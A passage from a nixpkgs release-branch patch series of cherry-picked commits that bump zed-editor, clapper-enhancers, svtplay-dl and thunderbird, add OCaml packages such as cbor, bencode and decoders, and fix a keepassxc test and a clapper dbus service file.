@@ -111,7 +111,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
     owner = "zed-industries";
     repo = "zed";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-z3QHD1EfJfhgLZwUv805RHCEKiBm1wCpJG1GAS9OJgE=";
+    hash = "sha256-aib6RJPkNQQmK+zVfNvf/LwfKuloj6xHN4tT8p0yPZo=";
   };
 
   patches = [
@@ -138,7 +138,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
     '';
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-qGHUO25a2288hp4+DcQJabauOVGYn7CXtDqWGB6diO8=";
+  cargoHash = "sha256-fIOgakr2Wni8BJB7VD63worcHEwnL0WKI88kjJ4YTMg=";
 
   nativeBuildInputs =
     [

From 89b290070b2ce3c5904ffeec88c44a88eae2dd08 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 27 May 2025 19:50:42 +0000
Subject: [PATCH 0721/4511] zed-editor: 0.187.6 -> 0.187.9

(cherry picked from commit 4f081b542669e986df05cf7006a701de736200ee)
---
 pkgs/by-name/ze/zed-editor/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ze/zed-editor/package.nix b/pkgs/by-name/ze/zed-editor/package.nix
index 71171c8a6106..c38458f5b57a 100644
--- a/pkgs/by-name/ze/zed-editor/package.nix
+++ b/pkgs/by-name/ze/zed-editor/package.nix
@@ -99,7 +99,7 @@ let
 in
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "zed-editor";
-  version = "0.187.6";
+  version = "0.187.9";
 
   outputs =
     [ "out" ]
@@ -111,7 +111,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
     owner = "zed-industries";
     repo = "zed";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-aib6RJPkNQQmK+zVfNvf/LwfKuloj6xHN4tT8p0yPZo=";
+    hash = "sha256-BWn36z6EoyYRGtYZjWmTbu77M2wYNNBQ76u6MhKlkY4=";
   };
 
   patches = [
@@ -138,7 +138,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
     '';
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-fIOgakr2Wni8BJB7VD63worcHEwnL0WKI88kjJ4YTMg=";
+  cargoHash = "sha256-kXE+brvG8Z70Bla5SXGwRVX+fP8PtIPOkYXLhyJa4l8=";
 
   nativeBuildInputs =
     [

From 0ff2bea43eadc9bb15765c3f230be6a26eb4225c Mon Sep 17 00:00:00 2001
From: seeker <gmx472@qq.com>
Date: Thu, 29 May 2025 18:26:04 +0800
Subject: [PATCH 0722/4511] zed-editor: 0.186.9 -> 0.188.3

(cherry picked from commit f76714dc442ea29f07d9f4d7426ffb0a54e353c2)
---
 pkgs/by-name/ze/zed-editor/0001-linux-linker.patch | 8 ++++----
 pkgs/by-name/ze/zed-editor/package.nix             | 6 +++---
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/ze/zed-editor/0001-linux-linker.patch b/pkgs/by-name/ze/zed-editor/0001-linux-linker.patch
index 4529e038dc2f..5deef7339a72 100644
--- a/pkgs/by-name/ze/zed-editor/0001-linux-linker.patch
+++ b/pkgs/by-name/ze/zed-editor/0001-linux-linker.patch
@@ -1,5 +1,5 @@
 diff --git a/.cargo/config.toml b/.cargo/config.toml
-index 07cbc23195..b3c4d43e0f 100644
+index 717c5e1..0bb7b6c 100644
 --- a/.cargo/config.toml
 +++ b/.cargo/config.toml
 @@ -5,14 +5,6 @@ rustflags = ["-C", "symbol-mangling-version=v0", "--cfg", "tokio_unstable"]
@@ -14,6 +14,6 @@ index 07cbc23195..b3c4d43e0f 100644
 -linker = "clang"
 -rustflags = ["-C", "link-arg=-fuse-ld=mold"]
 -
- [target.aarch64-apple-darwin]
- rustflags = ["-C", "link-args=-Objc -all_load"]
- 
+ [target.'cfg(target_os = "windows")']
+ rustflags = [
+     "--cfg",
diff --git a/pkgs/by-name/ze/zed-editor/package.nix b/pkgs/by-name/ze/zed-editor/package.nix
index c38458f5b57a..1730a70423c0 100644
--- a/pkgs/by-name/ze/zed-editor/package.nix
+++ b/pkgs/by-name/ze/zed-editor/package.nix
@@ -99,7 +99,7 @@ let
 in
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "zed-editor";
-  version = "0.187.9";
+  version = "0.188.3";
 
   outputs =
     [ "out" ]
@@ -111,7 +111,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
     owner = "zed-industries";
     repo = "zed";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-BWn36z6EoyYRGtYZjWmTbu77M2wYNNBQ76u6MhKlkY4=";
+    hash = "sha256-ZyKFzb6/kVw/uLTmhnyrwmgyTHTwgu/WbOga409eZvg=";
   };
 
   patches = [
@@ -138,7 +138,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
     '';
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-kXE+brvG8Z70Bla5SXGwRVX+fP8PtIPOkYXLhyJa4l8=";
+  cargoHash = "sha256-0Nwdw20YdezGvUCkFw6ZV55qsebIhtnIoPoHd4tgIyA=";
 
   nativeBuildInputs =
     [

From b5f7015d520e2822d46882560bd39114919d6727 Mon Sep 17 00:00:00 2001
From: Gaetan Lepage <gaetan@glepage.com>
Date: Sat, 7 Jun 2025 18:38:22 +0200
Subject: [PATCH 0723/4511] zed-editor: 0.188.3 -> 0.189.5

Diff: https://github.com/zed-industries/zed/compare/refs/tags/v0.188.3...v0.189.5

Changelog: https://github.com/zed-industries/zed/releases/tag/v0.189.5
(cherry picked from commit 9e783da4169c27243a2234a459f25583273a52f6)
---
 pkgs/by-name/ze/zed-editor/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ze/zed-editor/package.nix b/pkgs/by-name/ze/zed-editor/package.nix
index 1730a70423c0..9a0787af7f57 100644
--- a/pkgs/by-name/ze/zed-editor/package.nix
+++ b/pkgs/by-name/ze/zed-editor/package.nix
@@ -99,7 +99,7 @@ let
 in
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "zed-editor";
-  version = "0.188.3";
+  version = "0.189.5";
 
   outputs =
     [ "out" ]
@@ -111,7 +111,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
     owner = "zed-industries";
     repo = "zed";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-ZyKFzb6/kVw/uLTmhnyrwmgyTHTwgu/WbOga409eZvg=";
+    hash = "sha256-d1d3WgUVamrYWVosljQiEPZGNNDldtM1YwZhxseX4+w=";
   };
 
   patches = [
@@ -138,7 +138,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
     '';
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-0Nwdw20YdezGvUCkFw6ZV55qsebIhtnIoPoHd4tgIyA=";
+  cargoHash = "sha256-YhdwCNTbBphWugguoWQqrGf2fRB5Jv40MElW6hbcxtk=";
 
   nativeBuildInputs =
     [

From dbe4ed865c18a3b3ec67dc7660471568c2b91e21 Mon Sep 17 00:00:00 2001
From: "Markus S. Wamser" <github-dev@mail2013.wamser.eu>
Date: Wed, 12 Mar 2025 18:27:54 +0100
Subject: [PATCH 0724/4511] [Backport release-25.05] nixosTests.keepassxc:
 enable dconf

Manual backport of https://github.com/NixOS/nixpkgs/pull/389288
to `release-25.05`.

simply doing a
cherry-pick of e91a6f4594d13abb104f3b3e8c92c9d51f310559
not possible due to conflicts
---
 nixos/tests/keepassxc.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/nixos/tests/keepassxc.nix b/nixos/tests/keepassxc.nix
index c2d68e29b798..aff1790f6eac 100644
--- a/nixos/tests/keepassxc.nix
+++ b/nixos/tests/keepassxc.nix
@@ -18,6 +18,7 @@ import ./make-test-python.nix (
         ];
 
         services.xserver.enable = true;
+        programs.dconf.enable = true;
 
         # for better OCR
         environment.etc."icewm/prefoverride".text = ''

From 96723827998e4653c5439d03c4ec1e5dfcbcebf3 Mon Sep 17 00:00:00 2001
From: Infinidoge <infinidoge@inx.moe>
Date: Wed, 21 May 2025 20:26:30 -0400
Subject: [PATCH 0725/4511] ocamlPackages.cbor: init at 0.5

(cherry picked from commit 7baddbc4fdabc865e2c875b36614269e107c10ea)
---
 .../ocaml-modules/cbor/default.nix            | 35 +++++++++++++++++++
 pkgs/top-level/ocaml-packages.nix             |  2 ++
 2 files changed, 37 insertions(+)
 create mode 100644 pkgs/development/ocaml-modules/cbor/default.nix

diff --git a/pkgs/development/ocaml-modules/cbor/default.nix b/pkgs/development/ocaml-modules/cbor/default.nix
new file mode 100644
index 000000000000..09287676de68
--- /dev/null
+++ b/pkgs/development/ocaml-modules/cbor/default.nix
@@ -0,0 +1,35 @@
+{
+  lib,
+  buildDunePackage,
+  fetchurl,
+  ocplib-endian,
+  yojson,
+}:
+
+buildDunePackage rec {
+  pname = "cbor";
+  version = "0.5";
+
+  minimalOCamlVersion = "4.07.0";
+
+  src = fetchurl {
+    url = "https://github.com/ygrek/ocaml-cbor/releases/download/${version}/ocaml-cbor-${version}.tar.gz";
+    hash = "sha256-4mpm/fv9X5uFRQO8XqBhOpxYwZreEtJ3exIwN6YulKM=";
+  };
+
+  propagatedBuildInputs = [
+    ocplib-endian
+  ];
+
+  doCheck = true;
+  checkInputs = [
+    yojson
+  ];
+
+  meta = {
+    description = "CBOR encoder/decoder (RFC 7049) - native OCaml implementation";
+    homepage = "https://github.com/ygrek/ocaml-cbor";
+    license = lib.licenses.mit;
+    maintainers = with lib.maintainers; [ infinidoge ];
+  };
+}
diff --git a/pkgs/top-level/ocaml-packages.nix b/pkgs/top-level/ocaml-packages.nix
index 087745078bc6..d300bcd8249a 100644
--- a/pkgs/top-level/ocaml-packages.nix
+++ b/pkgs/top-level/ocaml-packages.nix
@@ -202,6 +202,8 @@ let
           git-binary = pkgs.git;
         };
 
+        cbor = callPackage ../development/ocaml-modules/cbor { };
+
         cfstream = callPackage ../development/ocaml-modules/cfstream { };
 
         chacha = callPackage ../development/ocaml-modules/chacha { };

From 10b3164145bd9b432fcfe791a9974b17952bf784 Mon Sep 17 00:00:00 2001
From: Infinidoge <infinidoge@inx.moe>
Date: Wed, 21 May 2025 23:00:16 -0400
Subject: [PATCH 0726/4511] ocamlPackages.bencode: init at 2.0

(cherry picked from commit e016599ff52c42f9f853f345be4b2d50f9738c31)
---
 .../ocaml-modules/bencode/default.nix         | 34 +++++++++++++++++++
 pkgs/top-level/ocaml-packages.nix             |  2 ++
 2 files changed, 36 insertions(+)
 create mode 100644 pkgs/development/ocaml-modules/bencode/default.nix

diff --git a/pkgs/development/ocaml-modules/bencode/default.nix b/pkgs/development/ocaml-modules/bencode/default.nix
new file mode 100644
index 000000000000..310d7f24d006
--- /dev/null
+++ b/pkgs/development/ocaml-modules/bencode/default.nix
@@ -0,0 +1,34 @@
+{
+  lib,
+  buildDunePackage,
+  fetchFromGitHub,
+  ounit,
+  qcheck,
+}:
+
+buildDunePackage rec {
+  pname = "bencode";
+  version = "2.0";
+  minimalOCamlVersion = "4.02.0";
+
+  src = fetchFromGitHub {
+    owner = "rgrinberg";
+    repo = "bencode";
+    tag = version;
+    hash = "sha256-sEMS9oBOPeFX1x7cHjbQhCD2QI5yqC+550pPqqMsVws=";
+  };
+
+  doCheck = true;
+  checkInputs = [
+    ounit
+    qcheck
+  ];
+
+  meta = {
+    description = "Bencode (.torrent file format) reader/writer in OCaml ";
+    homepage = "https://github.com/rgrinberg/bencode";
+    changelog = "https://github.com/rgrinberg/bencode/blob/${version}/Changelog.md";
+    license = lib.licenses.mit;
+    maintainers = with lib.maintainers; [ infinidoge ];
+  };
+}
diff --git a/pkgs/top-level/ocaml-packages.nix b/pkgs/top-level/ocaml-packages.nix
index d300bcd8249a..5767b891fd49 100644
--- a/pkgs/top-level/ocaml-packages.nix
+++ b/pkgs/top-level/ocaml-packages.nix
@@ -88,6 +88,8 @@ let
 
         benchmark = callPackage ../development/ocaml-modules/benchmark { };
 
+        bencode = callPackage ../development/ocaml-modules/bencode { };
+
         bheap = callPackage ../development/ocaml-modules/bheap { };
 
         bigarray-compat = callPackage ../development/ocaml-modules/bigarray-compat { };

From 9189f0318de7242116865efe65ffb03a7a39bf69 Mon Sep 17 00:00:00 2001
From: Infinidoge <infinidoge@inx.moe>
Date: Wed, 21 May 2025 20:27:02 -0400
Subject: [PATCH 0727/4511] ocamlPackages.decoders: init at 1.0.0

Since all decoders-* packages are part of the base decoders package
source, and the versions are all tied together, they are added as a
single commit

(cherry picked from commit 5416aaae9d88f3676ea17f67e6b10b5bfcf434db)
---
 .../decoders-bencode/default.nix              | 36 ++++++++++++++++++
 .../ocaml-modules/decoders-cbor/default.nix   | 36 ++++++++++++++++++
 .../decoders-ezjsonm/default.nix              | 36 ++++++++++++++++++
 .../ocaml-modules/decoders-ezxmlm/default.nix | 34 +++++++++++++++++
 .../ocaml-modules/decoders-jsonaf/default.nix | 36 ++++++++++++++++++
 .../ocaml-modules/decoders-jsonm/default.nix  | 36 ++++++++++++++++++
 .../ocaml-modules/decoders-msgpck/default.nix | 36 ++++++++++++++++++
 .../decoders-sexplib/default.nix              | 38 +++++++++++++++++++
 .../ocaml-modules/decoders-yojson/default.nix | 36 ++++++++++++++++++
 .../ocaml-modules/decoders/default.nix        | 31 +++++++++++++++
 pkgs/top-level/ocaml-packages.nix             | 20 ++++++++++
 11 files changed, 375 insertions(+)
 create mode 100644 pkgs/development/ocaml-modules/decoders-bencode/default.nix
 create mode 100644 pkgs/development/ocaml-modules/decoders-cbor/default.nix
 create mode 100644 pkgs/development/ocaml-modules/decoders-ezjsonm/default.nix
 create mode 100644 pkgs/development/ocaml-modules/decoders-ezxmlm/default.nix
 create mode 100644 pkgs/development/ocaml-modules/decoders-jsonaf/default.nix
 create mode 100644 pkgs/development/ocaml-modules/decoders-jsonm/default.nix
 create mode 100644 pkgs/development/ocaml-modules/decoders-msgpck/default.nix
 create mode 100644 pkgs/development/ocaml-modules/decoders-sexplib/default.nix
 create mode 100644 pkgs/development/ocaml-modules/decoders-yojson/default.nix
 create mode 100644 pkgs/development/ocaml-modules/decoders/default.nix

diff --git a/pkgs/development/ocaml-modules/decoders-bencode/default.nix b/pkgs/development/ocaml-modules/decoders-bencode/default.nix
new file mode 100644
index 000000000000..6e2198ff2b6d
--- /dev/null
+++ b/pkgs/development/ocaml-modules/decoders-bencode/default.nix
@@ -0,0 +1,36 @@
+{
+  lib,
+  buildDunePackage,
+  decoders,
+  bencode,
+  containers,
+  ounit2,
+}:
+
+buildDunePackage rec {
+  pname = "decoders-bencode";
+
+  # sub-package built separately from the same source
+  inherit (decoders) src version;
+
+  minimalOCamlVersion = "4.03.0";
+
+  propagatedBuildInputs = [
+    decoders
+    bencode
+  ];
+
+  doCheck = true;
+  checkInputs = [
+    containers
+    ounit2
+  ];
+
+  meta = {
+    description = "Bencode backend for decoders";
+    homepage = "https://github.com/mattjbray/ocaml-decoders";
+    changelog = "https://github.com/mattjbray/ocaml-decoders/blob/${version}/CHANGES.md";
+    license = lib.licenses.isc;
+    maintainers = with lib.maintainers; [ infinidoge ];
+  };
+}
diff --git a/pkgs/development/ocaml-modules/decoders-cbor/default.nix b/pkgs/development/ocaml-modules/decoders-cbor/default.nix
new file mode 100644
index 000000000000..067beb013cb2
--- /dev/null
+++ b/pkgs/development/ocaml-modules/decoders-cbor/default.nix
@@ -0,0 +1,36 @@
+{
+  lib,
+  buildDunePackage,
+  decoders,
+  cbor,
+  containers,
+  ounit2,
+}:
+
+buildDunePackage rec {
+  pname = "decoders-cbor";
+
+  # sub-package built separately from the same source
+  inherit (decoders) src version;
+
+  minimalOCamlVersion = "4.03.0";
+
+  propagatedBuildInputs = [
+    decoders
+    cbor
+  ];
+
+  doCheck = true;
+  checkInputs = [
+    containers
+    ounit2
+  ];
+
+  meta = {
+    description = "CBOR backend for decoders";
+    homepage = "https://github.com/mattjbray/ocaml-decoders";
+    changelog = "https://github.com/mattjbray/ocaml-decoders/blob/${version}/CHANGES.md";
+    license = lib.licenses.isc;
+    maintainers = with lib.maintainers; [ infinidoge ];
+  };
+}
diff --git a/pkgs/development/ocaml-modules/decoders-ezjsonm/default.nix b/pkgs/development/ocaml-modules/decoders-ezjsonm/default.nix
new file mode 100644
index 000000000000..acb5c16cffa7
--- /dev/null
+++ b/pkgs/development/ocaml-modules/decoders-ezjsonm/default.nix
@@ -0,0 +1,36 @@
+{
+  lib,
+  buildDunePackage,
+  decoders,
+  ezjsonm,
+  containers,
+  ounit2,
+}:
+
+buildDunePackage rec {
+  pname = "decoders-ezjsonm";
+
+  # sub-package built separately from the same source
+  inherit (decoders) src version;
+
+  minimalOCamlVersion = "4.03.0";
+
+  propagatedBuildInputs = [
+    decoders
+    ezjsonm
+  ];
+
+  doCheck = true;
+  checkInputs = [
+    containers
+    ounit2
+  ];
+
+  meta = {
+    description = "Ezjsonm backend for decoders";
+    homepage = "https://github.com/mattjbray/ocaml-decoders";
+    changelog = "https://github.com/mattjbray/ocaml-decoders/blob/${version}/CHANGES.md";
+    license = lib.licenses.isc;
+    maintainers = with lib.maintainers; [ infinidoge ];
+  };
+}
diff --git a/pkgs/development/ocaml-modules/decoders-ezxmlm/default.nix b/pkgs/development/ocaml-modules/decoders-ezxmlm/default.nix
new file mode 100644
index 000000000000..685265dddff1
--- /dev/null
+++ b/pkgs/development/ocaml-modules/decoders-ezxmlm/default.nix
@@ -0,0 +1,34 @@
+{
+  lib,
+  buildDunePackage,
+  decoders,
+  ezxmlm,
+  containers,
+}:
+
+buildDunePackage rec {
+  pname = "decoders-ezxmlm";
+
+  # sub-package built separately from the same source
+  inherit (decoders) src version;
+
+  minimalOCamlVersion = "4.03.0";
+
+  propagatedBuildInputs = [
+    decoders
+    ezxmlm
+  ];
+
+  doCheck = true;
+  checkInputs = [
+    containers
+  ];
+
+  meta = {
+    description = "Ezxmlm backend for decoders";
+    homepage = "https://github.com/mattjbray/ocaml-decoders";
+    changelog = "https://github.com/mattjbray/ocaml-decoders/blob/${version}/CHANGES.md";
+    license = lib.licenses.isc;
+    maintainers = with lib.maintainers; [ infinidoge ];
+  };
+}
diff --git a/pkgs/development/ocaml-modules/decoders-jsonaf/default.nix b/pkgs/development/ocaml-modules/decoders-jsonaf/default.nix
new file mode 100644
index 000000000000..d6e01a3273c5
--- /dev/null
+++ b/pkgs/development/ocaml-modules/decoders-jsonaf/default.nix
@@ -0,0 +1,36 @@
+{
+  lib,
+  buildDunePackage,
+  decoders,
+  jsonaf ? null,
+  containers,
+  ounit2,
+}:
+
+buildDunePackage rec {
+  pname = "decoders-jsonaf";
+
+  # sub-package built separately from the same source
+  inherit (decoders) src version;
+
+  minimalOCamlVersion = "4.11.0";
+
+  propagatedBuildInputs = [
+    decoders
+    jsonaf
+  ];
+
+  doCheck = true;
+  checkInputs = [
+    containers
+    ounit2
+  ];
+
+  meta = {
+    description = "Jsonaf backend for decoders";
+    homepage = "https://github.com/mattjbray/ocaml-decoders";
+    changelog = "https://github.com/mattjbray/ocaml-decoders/blob/${version}/CHANGES.md";
+    license = lib.licenses.isc;
+    maintainers = with lib.maintainers; [ infinidoge ];
+  };
+}
diff --git a/pkgs/development/ocaml-modules/decoders-jsonm/default.nix b/pkgs/development/ocaml-modules/decoders-jsonm/default.nix
new file mode 100644
index 000000000000..c354ae20d076
--- /dev/null
+++ b/pkgs/development/ocaml-modules/decoders-jsonm/default.nix
@@ -0,0 +1,36 @@
+{
+  lib,
+  buildDunePackage,
+  decoders,
+  jsonm,
+  containers,
+  ounit2,
+}:
+
+buildDunePackage rec {
+  pname = "decoders-jsonm";
+
+  # sub-package built separately from the same source
+  inherit (decoders) src version;
+
+  minimalOCamlVersion = "4.03.0";
+
+  propagatedBuildInputs = [
+    decoders
+    jsonm
+  ];
+
+  doCheck = true;
+  checkInputs = [
+    containers
+    ounit2
+  ];
+
+  meta = {
+    description = "Jsonm backend for decoders";
+    homepage = "https://github.com/mattjbray/ocaml-decoders";
+    changelog = "https://github.com/mattjbray/ocaml-decoders/blob/${version}/CHANGES.md";
+    license = lib.licenses.isc;
+    maintainers = with lib.maintainers; [ infinidoge ];
+  };
+}
diff --git a/pkgs/development/ocaml-modules/decoders-msgpck/default.nix b/pkgs/development/ocaml-modules/decoders-msgpck/default.nix
new file mode 100644
index 000000000000..6004a2503aac
--- /dev/null
+++ b/pkgs/development/ocaml-modules/decoders-msgpck/default.nix
@@ -0,0 +1,36 @@
+{
+  lib,
+  buildDunePackage,
+  decoders,
+  msgpck,
+  containers,
+  ounit2,
+}:
+
+buildDunePackage rec {
+  pname = "decoders-msgpck";
+
+  # sub-package built separately from the same source
+  inherit (decoders) src version;
+
+  minimalOCamlVersion = "4.03.0";
+
+  propagatedBuildInputs = [
+    decoders
+    msgpck
+  ];
+
+  doCheck = true;
+  checkInputs = [
+    containers
+    ounit2
+  ];
+
+  meta = {
+    description = "Msgpck backend for decoders";
+    homepage = "https://github.com/mattjbray/ocaml-decoders";
+    changelog = "https://github.com/mattjbray/ocaml-decoders/blob/${version}/CHANGES.md";
+    license = lib.licenses.isc;
+    maintainers = with lib.maintainers; [ infinidoge ];
+  };
+}
diff --git a/pkgs/development/ocaml-modules/decoders-sexplib/default.nix b/pkgs/development/ocaml-modules/decoders-sexplib/default.nix
new file mode 100644
index 000000000000..5b12b422fded
--- /dev/null
+++ b/pkgs/development/ocaml-modules/decoders-sexplib/default.nix
@@ -0,0 +1,38 @@
+{
+  lib,
+  buildDunePackage,
+  decoders,
+  sexplib,
+  sexplib0,
+  containers,
+  ounit2,
+}:
+
+buildDunePackage rec {
+  pname = "decoders-sexplib";
+
+  # sub-package built separately from the same source
+  inherit (decoders) src version;
+
+  minimalOCamlVersion = "4.03.0";
+
+  propagatedBuildInputs = [
+    decoders
+    sexplib
+    sexplib0
+  ];
+
+  doCheck = true;
+  checkInputs = [
+    containers
+    ounit2
+  ];
+
+  meta = {
+    description = "sexplib backend for decoders";
+    homepage = "https://github.com/mattjbray/ocaml-decoders";
+    changelog = "https://github.com/mattjbray/ocaml-decoders/blob/${version}/CHANGES.md";
+    license = lib.licenses.isc;
+    maintainers = with lib.maintainers; [ infinidoge ];
+  };
+}
diff --git a/pkgs/development/ocaml-modules/decoders-yojson/default.nix b/pkgs/development/ocaml-modules/decoders-yojson/default.nix
new file mode 100644
index 000000000000..8da0e05a69ff
--- /dev/null
+++ b/pkgs/development/ocaml-modules/decoders-yojson/default.nix
@@ -0,0 +1,36 @@
+{
+  lib,
+  buildDunePackage,
+  decoders,
+  yojson,
+  containers,
+  ounit2,
+}:
+
+buildDunePackage rec {
+  pname = "decoders-yojson";
+
+  # sub-package built separately from the same source
+  inherit (decoders) src version;
+
+  minimalOCamlVersion = "4.03.0";
+
+  propagatedBuildInputs = [
+    decoders
+    yojson
+  ];
+
+  doCheck = true;
+  checkInputs = [
+    containers
+    ounit2
+  ];
+
+  meta = {
+    description = "Yojson backend for decoders";
+    homepage = "https://github.com/mattjbray/ocaml-decoders";
+    changelog = "https://github.com/mattjbray/ocaml-decoders/blob/${version}/CHANGES.md";
+    license = lib.licenses.isc;
+    maintainers = with lib.maintainers; [ infinidoge ];
+  };
+}
diff --git a/pkgs/development/ocaml-modules/decoders/default.nix b/pkgs/development/ocaml-modules/decoders/default.nix
new file mode 100644
index 000000000000..42e68503ac8d
--- /dev/null
+++ b/pkgs/development/ocaml-modules/decoders/default.nix
@@ -0,0 +1,31 @@
+{
+  lib,
+  buildDunePackage,
+  fetchurl,
+  containers,
+}:
+
+buildDunePackage rec {
+  pname = "decoders";
+  version = "1.0.0";
+
+  minimalOCamlVersion = "4.03.0";
+
+  src = fetchurl {
+    url = "https://github.com/mattjbray/ocaml-decoders/releases/download/v${version}/${pname}-${version}.tbz";
+    hash = "sha256-R/55xBAtD3EO/zzq7zExANnfPHlFg00884o5dCpXNZc=";
+  };
+
+  doCheck = true;
+  checkInputs = [
+    containers
+  ];
+
+  meta = {
+    description = "Elm-inspired decoders for Ocaml";
+    homepage = "https://github.com/mattjbray/ocaml-decoders";
+    changelog = "https://github.com/mattjbray/ocaml-decoders/blob/${version}/CHANGES.md";
+    license = lib.licenses.isc;
+    maintainers = with lib.maintainers; [ infinidoge ];
+  };
+}
diff --git a/pkgs/top-level/ocaml-packages.nix b/pkgs/top-level/ocaml-packages.nix
index 5767b891fd49..00bc16314969 100644
--- a/pkgs/top-level/ocaml-packages.nix
+++ b/pkgs/top-level/ocaml-packages.nix
@@ -330,6 +330,26 @@ let
 
         dbf = callPackage ../development/ocaml-modules/dbf { };
 
+        decoders = callPackage ../development/ocaml-modules/decoders { };
+
+        decoders-bencode = callPackage ../development/ocaml-modules/decoders-bencode { };
+
+        decoders-cbor = callPackage ../development/ocaml-modules/decoders-cbor { };
+
+        decoders-ezjsonm = callPackage ../development/ocaml-modules/decoders-ezjsonm { };
+
+        decoders-ezxmlm = callPackage ../development/ocaml-modules/decoders-ezxmlm { };
+
+        decoders-jsonaf = callPackage ../development/ocaml-modules/decoders-jsonaf { };
+
+        decoders-jsonm = callPackage ../development/ocaml-modules/decoders-jsonm { };
+
+        decoders-msgpck = callPackage ../development/ocaml-modules/decoders-msgpck { };
+
+        decoders-sexplib = callPackage ../development/ocaml-modules/decoders-sexplib { };
+
+        decoders-yojson = callPackage ../development/ocaml-modules/decoders-yojson { };
+
         decompress = callPackage ../development/ocaml-modules/decompress { };
 
         dedukti = callPackage ../development/ocaml-modules/dedukti { };

From ef54e8654c7a768aa0e081ffa1720b5536f8588f Mon Sep 17 00:00:00 2001
From: aleksana <me@aleksana.moe>
Date: Fri, 6 Jun 2025 22:42:46 +0800
Subject: [PATCH 0728/4511] clapper: fix opening files

(cherry picked from commit 83e1d008b8b4506fd6a8f72498c53af20cc934c3)
---
 pkgs/by-name/cl/clapper/package.nix | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/pkgs/by-name/cl/clapper/package.nix b/pkgs/by-name/cl/clapper/package.nix
index 596b03a94cd0..e1c0393e23ea 100644
--- a/pkgs/by-name/cl/clapper/package.nix
+++ b/pkgs/by-name/cl/clapper/package.nix
@@ -29,6 +29,11 @@ stdenvNoCC.mkDerivation {
 
     mkdir -p $out
     lndir $src $out
+    dbusfile=share/dbus-1/services/com.github.rafostar.Clapper.service
+    rm $out/$dbusfile
+    cp $src/$dbusfile $out/$dbusfile
+    substituteInPlace $out/$dbusfile \
+      --replace-fail $src/bin/clapper $out/bin/clapper
 
     runHook postInstall
   '';

From 7d06ea78c0d0105b43f6a80e596891c9f818744a Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 8 Jun 2025 01:29:46 +0000
Subject: [PATCH 0729/4511] clapper-enhancers: 0.8.2 -> 0.8.3

(cherry picked from commit 1c63b6f5381725dfac185aaff11da9d8fbd729dd)
---
 pkgs/by-name/cl/clapper-enhancers/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/cl/clapper-enhancers/package.nix b/pkgs/by-name/cl/clapper-enhancers/package.nix
index 4de5dca52635..39802f3b87fc 100644
--- a/pkgs/by-name/cl/clapper-enhancers/package.nix
+++ b/pkgs/by-name/cl/clapper-enhancers/package.nix
@@ -17,13 +17,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "clapper-enhancers";
-  version = "0.8.2";
+  version = "0.8.3";
 
   src = fetchFromGitHub {
     owner = "Rafostar";
     repo = "clapper-enhancers";
     tag = finalAttrs.version;
-    hash = "sha256-CUfTz+YvliJXiv/nsdrpDVFSblqoSW7js8vAtJ9u5vM=";
+    hash = "sha256-uj0ZZrS2Y896EDWeBsU3Q3S2kFdEg5FQkBOcI97FFWc=";
   };
 
   nativeBuildInputs = [

From 3a78cdec7afcf6a5397a2b7fda88a237bf7656de Mon Sep 17 00:00:00 2001
From: Lennart Kolmodin <kolmodin@gmail.com>
Date: Fri, 6 Jun 2025 14:29:09 +0200
Subject: [PATCH 0730/4511] svtplay-dl: 4.109 -> 4.113

(cherry picked from commit 32919c5e8f024082c27b0b61bc159e10d2d529b2)
---
 pkgs/by-name/sv/svtplay-dl/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/sv/svtplay-dl/package.nix b/pkgs/by-name/sv/svtplay-dl/package.nix
index 50628c70abf5..cc13a0b6b0b8 100644
--- a/pkgs/by-name/sv/svtplay-dl/package.nix
+++ b/pkgs/by-name/sv/svtplay-dl/package.nix
@@ -21,7 +21,7 @@ let
     requests-mock
     ;
 
-  version = "4.109";
+  version = "4.113";
 
 in
 
@@ -34,7 +34,7 @@ buildPythonApplication {
     owner = "spaam";
     repo = "svtplay-dl";
     rev = version;
-    hash = "sha256-ApoAcYaqPIurgDM+ctyyx9+OyUmhJ+1fjdGj0ln6v7w=";
+    hash = "sha256-Yiw76PDnOpK4HAnO9VqmvmqdT4PdxAgu1MwbZ15pEyM=";
   };
 
   build-system = [ setuptools ];

From 1e882ca79964d2c06af80057b7ef02eba49cff20 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 8 Jun 2025 10:10:19 +0000
Subject: [PATCH 0731/4511] thunderbird-latest-bin-unwrapped: 139.0 -> 139.0.1

(cherry picked from commit 4c954e00497f7516d956b5bbe5104efad43ea179)
---
 .../thunderbird-bin/release_sources.nix       | 794 +++++++++---------
 1 file changed, 397 insertions(+), 397 deletions(-)

diff --git a/pkgs/applications/networking/mailreaders/thunderbird-bin/release_sources.nix b/pkgs/applications/networking/mailreaders/thunderbird-bin/release_sources.nix
